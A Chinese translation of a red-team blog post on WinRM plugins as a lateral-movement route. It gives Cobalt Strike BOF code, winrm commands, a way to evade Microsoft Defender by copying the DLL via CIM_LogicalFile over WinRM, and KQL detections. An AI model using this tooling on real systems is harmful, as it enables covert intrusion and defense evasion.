【翻译】探索 WinRM 插件的横向移动

admin 2025年2月28日23:49:22评论6 views字数 16667阅读55分33秒阅读模式

TL;DR:在本博客中,我们探讨了如何利用 WinRM 插件对其他系统进行横向移动。我们还研究了如何CIM_LogicFile使用 WMI 类绕过 Microsoft Defender 的一些棘手检测。最后,我们将所有逻辑放入 Cobalt Strike BOF 中。 

前言

有一天,我意识到我没有任何 Cobalt Strike BOF 来连接 WinRM。当你从高权限用户那里窃取令牌并想要使用 WinRM 连接到另一个系统时,这会派上用场。当然,另一种方法是转储 LSASS 以从高权限用户那里获取哈希,然后通过 Socks 将 Pass-The-Hash 与 Evil-WinRM 之类的东西一起使用。但是,我认为最后一种方法被检测到的可能性更高。

为了填补这一缺失的技能,我直接查阅了微软关于 WinRM 的文档并开始四处寻找。经过一番阅读,我发现了以下存储库,其中包含微软提供的多个示例。其中一个示例由一个与 WinRM shell 交互的客户端组成。因此,我决定将这个示例移植到 BOF。您可以在此处查看最终代码。

当然,如果我花时间在 Google 上仔细查看,我会在这里这里找到另外两个 WinRM BOF 示例,🤷‍♂️。但那样的话,我就不会发现 WinRM 插件了。

预先进行一些预期管理:要与 WinRM 交互,您需要在目标系统上拥有管理员权限。因此,此处解释的所有内容都假设您拥有此类权限。

关于 WinRM 插件

根据微软文档,WinRM 提供了一个 API 来接受第三方插件。这些插件由需要位于System32文件夹中的 DLL 组成。要使用插件,首先需要使用以下命令在系统中注册它:

winrm create http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=MyPlugIn -file:myplugin.xml

需要传递的 XML 如下所示:

<PlugInConfigurationxmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration"Name="MyPlugIn"Filename="%systemroot%system32myplugin.dll"SDKVersion="1"XmlRenderingType="text"Architecture="64"Enabled="true"><InitializationParameters><ParamName="myParam1"Value="myValue1"/><ParamName="myParam2"Value="myValue2"/></InitializationParameters><Resources><ResourceResourceUri="https://schemas.MyCompany.com/MyUri1"SupportsOptions="true"ExactMatch="false"><CapabilityType="Get"SupportsFragment="true"/><CapabilityType="Put"SupportsFragment="true"/><CapabilityType="Create"/><CapabilityType="Delete"/><CapabilityType="Invoke"/><CapabilityType="Enumerate"SupportsFiltering="true"/></Resource><ResourceResourceUri="https://schemas.MyCompany.com/MyUri2"SupportsOptions="false"ExactMatch="true"><SecurityUri="https://schemas.MyCompany.com/MyUri2"Sddl="O:NSG:BAD:P(A;;GA;;;BA)"/><SecurityUri="https://schemas.MyCompany.com/MyUri2/MoreSpecific"Sddl="O:NSG:BAD:P(A;;GR;;;BA)"ExactMatch="true"/><CapabilityType="Shell"/></Resource></Resources></PlugInConfiguration>

此 XML 定义了多个属性,例如System32文件夹中 DLL 的位置、用于调用它的 URI 以及插件支持的功能。根据支持的功能,插件 DLL 将需要实现某些方法。Microsoft 文档详细介绍了实现具有 shell 功能的插件所需的方法,类似于使用二进制文件在远程系统上执行命令时使用的方法。您甚至可以在此 Microsoft 存储库winrs.exe中找到此类插件的一个非常好的示例。

但是,乍一看,这些类型的插件相当复杂,而实现横向移动技术似乎有点大材小用。我的目的是实现 WinRM 插件的最小表达式,其主要功能是加载 shellcode。在这种情况下,仅具有Get或功能的插件就足够了。不幸的是,我找不到任何文档来实现这种类型的插件,甚至找不到这些基本Put功能需要在 DLL 中导出的方法。

内置 WinRM 插件

在网上查看了一下,开发 WinRM 插件似乎不太流行。那么,已经安装的插件怎么办呢?

有趣的是,WSMan 配置以 PowerShell 驱动器的形式公开,这允许枚举系统中注册的插件:

PS> Get-PSDriveName           Used (GB)     Free (GB) Provider      Root ...---------------------------------- ......Variable                               VariableWSMan                                  WSManPS> ls wsman:localhostWSManConfig: Microsoft.WSMan.ManagementWSMan::localhostType Name SourceOfValue Value--------------------------System.String MaxEnvelopeSizekb 500System.String MaxTimeoutms 60000System.String MaxBatchItems 32000System.String MaxProviderRequests 4294967295Container ClientContainer ServiceContainer ShellContainer ListenerContainer PluginContainer ClientCertificatePS> ls WSMan:localhostPluginWSManConfig: Microsoft.WSMan.ManagementWSMan::localhostPluginType Keys Name------------Container {Name=Event Forwarding Plugin} Event Forwarding PluginContainer {Name=microsoft.powershell} microsoft.powershellContainer {Name=microsoft.powershell.workf... microsoft.powershell.workflowContainer {Name=microsoft.powershell32} microsoft.powershell32Container {Name=microsoft.windows.serverma... microsoft.windows.servermanagerworkflowsContainer {Name=WMI Provider} WMI Provider

在这里,我们看到 Windows 的基本安装已经包含几个 WinRM 插件,还有一些熟悉的名称,例如用于 PSRemoting 的 PowerShell。但是,所有这些信息都保存在哪里呢?

运行进程监视器后,在使用 PowerShell 枚举 WSMan 时发现了以下内容。

【翻译】探索 WinRM 插件的横向移动

进入注册表中的这个位置,我们会看到一个非常熟悉的结构:

【翻译】探索 WinRM 插件的横向移动

似乎大多数 WSMan 配置(包括插件)都存储在这些键中。事实上,当您运行以winrm create ...注册新插件时,Process Monitor 将显示在同一位置创建的新键。

查看其中一个插件的关联数据,可以发现该ConfigXML密钥存储了该插件的清单。例如,对于 PSRemoting 的 PowerShell 插件: 

从逻辑上讲,它具有Shell功能。查看 的导出pwrshplugin.dll,我们可以看到它导出了一组非常熟悉的方法。这些是演示 WinRM 插件实现的相同功能,也是 Microsoft 知识库中已记录的功能。

PS> dumpbin /EXPORTS .pwrshplugin.dll...    ordinal hint RVA      name1000003220 GetCLRVersionForPSVersion21 00002F10 PerformWSManPluginReportCompletion3200003740 WSManPluginCommand43 000039B0 WSManPluginConnect54 000038B0 WSManPluginReceive65 000037C0 WSManPluginReleaseCommandContext76 000036F0 WSManPluginReleaseShellContext8700003820 WSManPluginSend98 000035F0 WSManPluginShell10900003500 WSManPluginShutdown11    A 00003930 WSManPluginSignal12    B 00003430 WSManPluginStartup

其他插件怎么样?该Microsoft.Windows.ServerManagerWorkflows插件使用与 PowerShell 相同的 DLL。这是否意味着除了 PowerShell cmdlet 之外,还有其他方法可以通过 PSRemoting 与系统进行本地交互?这绝对很有趣,但这是将来要检查的一件事。

看看最后两个插件,Event Forwarding Plugin只有Subscribe清单中的能力,这有点令人沮丧。然而,WMI Provider几乎实现了所有这些!

<PlugInConfigurationFilename="C:Windowssystem32WsmWmiPl.dll"...><Resources><ResourceResourceUri="http://schemas.microsoft.com/wbem/wsman/1/wmi"SupportsOptions="true"><SecurityUri="".../><CapabilityType="Identify"/><CapabilityType="Get"SupportsFragment="true"/><CapabilityType="Put"SupportsFragment="true"/><CapabilityType="Invoke"/><CapabilityType="Create"/><CapabilityType="Delete"/><CapabilityType="Enumerate"SupportsFiltering="true"/><CapabilityType="Subscribe"SupportsFiltering="true"/></Resource>        ...</Resources>    ...</PlugInConfiguration>And these are the exports of the WsmWmiPl.dll:> dumpbin /EXPORTS .WsmWmiPl.dll...    ordinal hint RVA      name         28   1B 00003B00 WSManPluginShutdown         29   1C 00003E80 WSManPluginStartup         30   1D 00004590 WSManProvCreate         31   1E 000047F0 WSManProvDelete         32   1F 000049D0 WSManProvEnumerate         33   20 00004CC0 WSManProvGet         34   21 00004EF0 WSManProvIdentify         35   22 00005150 WSManProvInvoke         36   23 000053E0 WSManProvPullEvents         37   24 00005560 WSManProvPut         38   25 00005810 WSManProvSubscribe         39   26 00005B00 WSManProvUnsubscribe         ...

这些函数尚未被 Microsoft 记录在案,在 Google 和 GitHub 上搜索它们也没有返回任何有趣的结果。这是否意味着我们走在了找到一些很酷的东西的正确道路上?可能是,也可能不是。

深入了解 WsmWmiPl.dll

在 IDA 中反汇编二进制文件并查看导出,我们看到它首先如何调用和类WSManProvPut的构造函数。TSTRBUFFER``AdapterParams

【翻译】探索 WinRM 插件的横向移动

PutXmlToCimObject然后它与 WMI 交互以通过和函数更新记录GetXmlFromCimObject

【翻译】探索 WinRM 插件的横向移动

在结束之前,它调用三个与 WSMan 相关的函数:GetWsmanDataWSManPluginObjectResultWSManPluginOperationComplete

【翻译】探索 WinRM 插件的横向移动

最后一个调用已记录在案,它报告了 WinRM 插件中操作的完成。因此,put在插件中实现该功能似乎很简单。上面观察到的大多数操作似乎对于我们的案例来说都不是必需的。我们只需要确保WSManPluginOperationComplete在从返回之前调用WSManProvPut。只缺少一个细节:的函数原型WSManProvPut。幸运的是,可以通过在 IDA 中反汇编WsmSvc.dll并查找此函数来获得它:

【翻译】探索 WinRM 插件的横向移动

最小 WinRM 插件

有了这些信息,我们已经可以编译一个非常基本的 WinRM 插件了。我们希望将 shellcode 加载器的主要逻辑放在 中WSManProvPut。然后,WSManPluginStartupWSManPluginShutdown需要在那里,因为任何 WinRM 插件都需要它们。此时,您可能会问:为什么要费尽心思去寻找另一个函数?为什么不在 中DLL_PROCESS_ATTACH甚至dllmain中执行东西WSManPluginStartup?原因首先是为了避免加载器锁定问题,其次,查看 的文档WSManPluginStartup,似乎这个函数可以被多次调用,这不是我们想要的。

看起来dllmain.cpp像这样:

BOOLAPIENTRYDllMain(HMODULEhModuleDWORDul_reason_for_callLPVOIDlpReserved) {returnTRUE;}extern"C"__declspec(dllexportDWORDWINAPIWSManPluginStartup(DWORDflags,PCWSTRapplicationIdentification,PCWSTRextraInfo,PVOID*pluginContext){OutputDebugString(L"Inside WSManPluginStartup");returnNO_ERROR;}extern"C"__declspec(dllexportDWORDWINAPIWSManPluginShutdown(PVOIDpluginContext,DWORDflags,DWORDreason){OutputDebugString(L"Inside WSManPluginShutdown");returnNO_ERROR;}extern"C"__declspec(dllexportVOIDWINAPIWSManProvPut(WSMAN_PLUGIN_REQUEST*requestDetails) {OutputDebugString(L"Inside WSManProvPut");// run_stuff();WSManPluginOperationComplete(requestDetails,0,GetLastError(),NULL);return;}

编译后,我们必须将 DLL 复制到C:WindowsSystem32。DLL 的名称不需要是特定的。例如,在本例中它是another-winrm-plugin.dll

然后要注册插件,我们必须首先创建以下内容manifest.xml

<PlugInConfigurationxmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration"Name="another-winrm-plugin"Filename="%systemroot%system32another-winrm-plugin.dll"SDKVersion="1"XmlRenderingType="text"Architecture="64"Enabled="true"><Resources><ResourceResourceUri="https://schemas.microsoft.com/another-winrm-plugin"SupportsOptions="true"ExactMatch="true"><CapabilityType="Put"/></Resource></Resources></PlugInConfiguration>

然后执行这个winrm命令:

PS> winrm create http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=another-winrm-plugin -file:.manifest.xml
ResourceCreatedAddress = http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymousReferenceParametersResourceURI = http://schemas.microsoft.com/wbem/wsman/1/config/pluginSelectorSetSelector: name = another-winrm-plugin

如果我们看一下注册表,我们会看到如何创建一个新密钥: 

【翻译】探索 WinRM 插件的横向移动

在调用我们的插件之前,我们必须首先重新启动 WinRM 服务:

PS> Get-Service winrm | Restart-Service

最后,我们用 WinRM 调用插件。请注意,您需要传递一个空的XML 文件。其内容可以很简单<a/>

winrm put https://schemas.microsoft.com/another-winrm-plugin -file:.contents.xml

感谢DebugView,我们可以看到OutputDebugString调用。需要注意的一点是,WSManPluginShutdown尚未调用。快速浏览文档后  ,似乎只有在卸载插件 DLL 时才会调用此函数。经过一些测试,重新启动 WinRM 会调用此函数;目前没有什么真正影响我们。

【翻译】探索 WinRM 插件的横向移动

ProcessHacker中,我们可以看到winprovhost.exe进程如何负责加载和执行 WinRM 插件。似乎即使成功调用该Put方法后,该进程仍会运行。但是,重新启动 WinRM 服务将很好地 (?) 退出该进程,从而触发对 的调用WSManPluginShutdown

【翻译】探索 WinRM 插件的横向移动

横向移动 BOF

至此,我们已经具备使用 WinRM 插件编写横向移动 BOF 所需的一切。为了方便操作,BOF 可分为以下三个主要操作:

1 — 安装插件

  • 注册 WinRM 插件。要在此级别与 WinRM 进行交互,您需要使用 COM 编程,而我就是无法让它工作。对此有两种可能的解决方案(猜猜我选择了什么):正确的解决方案:学习 COM 编程并使其工作;短期解决方案 + 技术债务:启用并启动RemoteRegistryviaSCManager并使用 创建密钥RegCreateKeyExW

  • 将文件复制到System32带有CreateFile和 的文件夹中WriteFile

  • 停止RemoteService并将其配置恢复为默认值。

BOF 命令:

beacon> winrm-plugin-jump --action install --hostname app1 --dll <local-path-to-dll>

2 — 调用 WinRM 插件现在我们只需要调用PutWinRM 插件的方法。这次,我设法通过 COM 来完成(没有其他选择)。下面,我描述了从 C 执行这些操作所需的主要调用。您可能已经猜到了,我目前还没有任何 COM 编程经验,因此非常欢迎任何建设性的反馈!

为当前线程初始化 COM 并为该类创建一个实例WSMan

HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);if (FAILED(hr)) {    BeaconPrintf(CALLBACK_ERROR, "error CoInitializeEx, COM error: (hr=%08X)n", hr);   return;}DEBUG("Success CoInitializeExn");CLSIDFromString(L"{BCED617B-EC03-420b-8508-977DC7A686BD}", &CLSID_WSMAN);CLSIDFromString(L"{190D8637-5CD3-496d-AD24-69636BB5A3B5}", &IID_IWSMAN);IWSMan* pWSMan = NULL;hr = CoCreateInstance(CLSID_WSMAN, NULL, CLSCTX_INPROC_SERVER, IID_IWSMAN, (void**)&pWSMan);if (FAILED(hr)) {BeaconPrintf(CALLBACK_ERROR, "error CoCreateInstance, COM error: %ld)n", hr);goto COMUninitialize;}DEBUG("Success CoCreateInstancen");

使用CreateSession对象的方法pWSMan我们连接到远程服务器:

IDispatch* pSessionDispatch = NULL;swprintf_s(remoteComputerNameWsMan, MAX_PATH, L"http://%s:5985/wsman", remoteComputerName);BSTR connectionUrl = SysAllocString(remoteComputerNameWsMan);hr = pWSMan->CreateSession(connectionUrl, NULL, NULL, &pSessionDispatch);if (FAILED(hr)) {    BeaconPrintf(CALLBACK_ERROR, "error CreateSession, COM error: (hr=%08X)n", hr);    goto COMIWSManRelease;}DEBUG("Success CreateSessionn");

为了公开并能够调用该Put方法,我们首先需要使用以下命令查询指向会话对象的指针QueryInterface

CLSIDFromString(L"{FC84FC58-1286-40c4-9DA0-C8EF6EC241E0}", &IID_WSMAN_SESSION);IWSManSession* pSession = NULL;hr = pSessionDispatch->QueryInterface(IID_WSMAN_SESSION, (void**)&pSession);if (FAILED(hr)) {    BeaconPrintf(CALLBACK_ERROR, "error QueryInterface, COM error: (hr=%08X)n", hr);    goto COMInstanceRelease;}DEBUG("Success QueryInterfacen");

然后我们最终做出决定:

VariantInit(&resourceUri);resourceUri.vt = VT_BSTR;resourceUri.bstrVal = SysAllocString(L"https://schemas.microsoft.com/another-winrm-plugin");BSTR resourceData = SysAllocString(L"<a/>");LONG flags = NULL;BSTR result = NULL;hr = pSession->Put(resourceUri, resourceData, flags, &result);if (FAILED(hr)) {    BeaconPrintf(CALLBACK_ERROR, "error Put, COM error: (hr=%08X)n", hr);    goto COMClearVariant;}DEBUG("Success Put, result: %wsn", result);

BOF 命令:

beacon> winrm-plugin-jump --action uninstall --hostname app1

您可以在此处(https://github.com/FalconForceTeam/bof-winrm-plugin-jump)找到 WinRM 插件 + BOF 的代码。

结论

  • 使用 WinRM 插件,我们成功地以隐秘的方式执行了横向移动。

  • 这是一项新发现的技术,它可以……

…哦不!它被 Defender 检测到了,而且是两次!

【翻译】探索 WinRM 插件的横向移动

这真是……太糟糕了。事实上,情况更糟。这是我遇到过的少数需要更长时间才能触发的内置警报之一。从我执行操作的那一刻起,它花了 1 个多小时才出现,这让我以为我制作了一些开箱即用的东西。

老实说,考虑到我们从 OpSec 的角度对目标系统做了各种恶意的事情,触发检测并不令人意外。与服务交互、System32通过共享将文件复制到网络上等。这似乎是徒劳的,不是吗?也许这就是为什么没人想接触 WinRM 插件的原因。

但等一下,怎么办?

我们为 WinRM 编译的插件无法降低恶意程度;它只导出三个函数,而且只调用OutputDebugStringWSManPluginOperationComplete。WinRM 插件虽然使用不广泛,但都有文档说明,而且是供人使用的,对吧?当然,一定有一种方法可以实现一个插件,而不会触发设计它们的同一家公司的警报!

回想起来,我们迄今为止做过的最肮脏的事情是使用c$to远程复制文件System32。我无法想象许多合法的软件安装或更新会这样做。让我们看看 Defender 收集的文件事件,看看如何报告此活动。 

【翻译】探索 WinRM 插件的横向移动

如您所见,该操作包含从共享中发生时填充的FileCreated属性,在我们的例子中是。这是有道理的,因为我们使用 URI 来远程复制文件。ShareName``c$``\ws1c$...

那么,如果我们重复上述所有步骤(除了将文件复制到),结果会怎样System32?在下一次尝试中,我们将通过 RDP 执行最后一步。

经过 2 个多小时,Defender 上什么都没触发!还不错,看起来很有希望。但是,我们如何远程做到这一点?

使用 CIM_LogicFile WMI 类在本地(但远程)移动文件

在 Google 上搜索 WMI 技巧。我找到了FortyNorth Security 的这篇文章(https://fortynorthsecurity.com/blog/wmi/)。这是一篇直入主题的文章,基本上解释了你可以通过CIM_LogicalFileWMI 类执行复制操作。由于他们已经很好地解释了如何使用 WMI 对象,所以我不会在这里重复。

因此,我们可以遵循以下策略:首先将文件复制到C:temp目录c$共享,然后使用 WMI 类将其移动到最终目的地System32

让我们看一下在我们的例子中 PowerShell 命令是什么样的:

PS> $file= Get-WmiObject -Class CIM_LogicalFile -Filter'Name = "C:\temp\temp-another-winrm-plugin.dll"'-ComputerName ws1PS> Invoke-WmiMethod -InputObject$file-Name copy -ArgumentList"C:\WindowsSystem32another-winrm-plugin.dll"

使用此类的一个良好初始迹象是,您永远不会使用共享。因此无需参考c$。在继续并将其作为 BOF 实现之前,让我们在 Defender 中查看此操作如何反映在日志中。

【翻译】探索 WinRM 插件的横向移动

Defender 似乎能够注册 WMI 命令。我们可以看到第一个命令Get-WmiObject在内部是如何被翻译成SELECT语句的。

【翻译】探索 WinRM 插件的横向移动

但是,复制操作仅记录源路径。事实上,这些信息似乎来自您创建对象的那一刻。此外,目标路径在此操作中不会在任何地方看到。这意味着,除非对FileCreated事件进行一些手动的基于时间的关联,否则从 Defender 的角度来看,此操作是不可见的!这是未来需要牢记的事情。

【翻译】探索 WinRM 插件的横向移动

最后,FileCreated我之前提到的由 执行的事件wmiprsve.exe似乎并没有表明它是由另一个系统请求的。

System32通过WMI 类复制 WinRM 插件CIM_LogicFile肯定很有前景。但有一个问题:与 WMI进行本机交互涉及 RPC 调用,这需要 TCP/135 和一个临时端口。这种基于 WinRM 插件的尚未存在的横向移动技术已经需要 TCP/445 用于服务和文件操作,以及 TCP/5985 用于 WinRM。除此之外,再加上一堆 RPC 交互会进一步降低其在实际环境中的实用性。

通过 WinRM 进行 WMI

但是再等一下!在上面的几个部分中,我们探讨了一个名为 WMI Provider 的插件,你猜对了,它允许你通过 WinRM 与 WMI 进行交互。这要感谢Red Canary 的这篇文章,它引起了我的注意。查看Microsoft 文档也有所帮助。

因此,我们可以将 PowerShell WMI 命令转换为winrm以下命令:

winrm invoke copy http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile?name=C:\temp\temp-another-winrm-plugin.dll '@{filename="C:\Windows\System32\another-winrm-plugin.dll"}'

在将其移植到 BOF 的 C 之前,让我们看一下发送的 HTTP SOAP。默认情况下,WinRM 传输是加密的。但您可以使用这样的脚本来解密它们。或者在这种情况下更好的是,您可以更改 WinRM 客户端和服务器的配置以允许未加密的通信。这可以通过以下命令实现(分别在客户端和服务器上执行):

winrm set winrm/config/client '@{AllowUnencrypted="true"}'winrm set winrm/config/service '@{AllowUnencrypted="true"}'

然后执行winrm invoke copy操作之后,我们在Wireshark中看到如下HTTP消息(错误的编码是因为HTTP消息的主体是UTF-16编码的,而HTTP头是UTF-8)。

【翻译】探索 WinRM 插件的横向移动

美化:

<s:Envelope ...>    <s:Header>        ...        <w:SelectorSet>            <w:SelectorName="name">C:tempanother-winrm-plugin.dll</w:Selector>        </w:SelectorSet>    </s:Header>    <s:Body>        <p:copy_INPUTxmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile">            <p:filename>C:WindowsSystem32another-winrm-plugin.dll</p:filename>        </p:copy_INPUT>    </s:Body></s:Envelope>

通过 WinRM 从 C调用 WMI 类Invoke方法与之前解释的调用非常相似Put。上面的主体内容需要在调用parameters的参数中传递Invoke

BOOL copyFileCIM_LogicalFile(LPCWSTR remoteComputerName) {<Initialize COM, Create WSMan object, CreateSession and QueryInterface>WCHAR CIM_LogicalFilePath[MAX_PATH];swprintf_s(CIM_LogicalFilePath, MAX_PATH,LR"(http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile?name=C:%s.dll)",PLUGIN_TEMP_NAME);VariantInit(&resourceUri);resourceUri.vt = VT_BSTR;resourceUri.bstrVal = SysAllocString(CIM_LogicalFilePath);WCHAR inputParametersXML[512];swprintf_s(inputParametersXML, 512,LR"(<p:copy_INPUTxmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/CIM_LogicalFile"><p:filename>C:WindowsSystem32%s.dll</p:filename></p:copy_INPUT>)",PLUGIN_NAME);BSTR inputParameters = SysAllocString(inputParametersXML);LONG flags = NULL;BSTR result = NULL;HRESULT hr = pSession->Invoke(SysAllocString(L"Copy"), resourceUri, inputParameters, flags, &result);if (FAILED(hr)) {BeaconPrintf(CALLBACK_ERROR, "error Invoke Copy, COM error: (hr=%08X)n", hr);success = FALSE;goto COMClearVariant;}DEBUG("Success Invoke Copy, result: %wsn", result);<clean-operations>}

就这样,我们现在可以执行攻击而不会触发 Defender 警报!BOF 的最终代码在这里(https://github.com/FalconForceTeam/bof-winrm-plugin-jump)(与之前相同的链接 😉)。

在结束之前,先来一段简短的视频,展示如何使用这里解释的技术将 BOF 横向移动到另一台计算机。

一些说明:

  • 用于获取信标的 DLL 实现了一些规避技术,以避免被 Defender 静态和动态标记,我在这里没有介绍过。

  • 据我检查,调用看似无恶意的 DLL 应该可以很好地用于此 BOF。但是,直接来自 Cobalt Strike 的 DLL 肯定会被标记。

视频链接

视频:https://youtu.be/iA_Z8LrO9C0

检测

wsmprovhost.exe为了检测这种技术,我们可以通过加载流行度低于特定阈值的二进制文件来查找 DLL 加载事件,例如100。如果在环境中使用非内置 WinRM 插件,则可能会出现某些误报。在这种情况下,将其列入允许列表就足够了。

DeviceImageLoadEvents| where TimeGenerated >= ago(30d)| where InitiatingProcessFileName ="wsmprovhost.exe"| invoke FileProfile(SHA1, 1000)| where ProfileAvailability !~ "Error"| where GlobalPrevalence < 100| where FolderPath !startswith @"C:windowsassemblynativeimages_"

我们甚至可以更进一步,将其与磁盘上的文件关联起来:

let potentialPlugins = DeviceImageLoadEvents| where Timestamp >= ago(30d)| where InitiatingProcessFileName ="wsmprovhost.exe"| where FolderPath !startswith @"C:windowsassemblynativeimages_"| invoke FileProfile(SHA1, 1000)| where ProfileAvailability !~ "Error"| where GlobalPrevalence < 100| extend FolderPath=tolower(FolderPath);let potentialWrites = DeviceFileEvents| where Timestamp >= ago(30d)| where ActionType in~ ("FileCreated""FileRenamed""FIleModified")| where SHA1 in~ ((potentialPlugins | project SHA1))| extend FolderPath=tolower(FolderPath);potentialPlugins| join kind=inner potentialWrites on SHA1, DeviceId, FolderPath

感谢 Henri Hambartsumyan 创建了此检测。完整版检测可在我们的FalconFriday Github(https://github.com/FalconForceTeam/FalconFriday/blob/main/0xFF-0582-WinRM_Plugin_Lateral_Movement-Windows.md)上找到。

最后的想法

  • 我们利用 WinRM 插件通过目标系统上的 DLL 执行代码。如前所述,您需要成为目标系统的本地管理员。

  • 通过 WinRM使用CIM_LogicFileWMI 类挽救了局面,需要记住这一点以避免出现类似的警报(在 Defender 中)。

  • 事实上,探索如何使用 WMI 类来完成此技术所涉及的服务和注册表操作会很好。这将使我们不再与端口 TCP/445 交互。但这可能会在以后的文章中出现。

  • ChatGPT 在提供常用功能的实现示例方面仍然让我感到惊讶。但学习 COM 编程仍然需要进行,下次 AI 可能不会帮助我们(https://youtu.be/oeBxKWZLyis?si=2Hfrph4BRcd5t4jR&t=214)。

原文链接:https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement/

原文始发于微信公众号(安全视安):【翻译】探索 WinRM 插件的横向移动

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日23:49:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】探索 WinRM 插件的横向移动https://cn-sec.com/archives/3779514.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息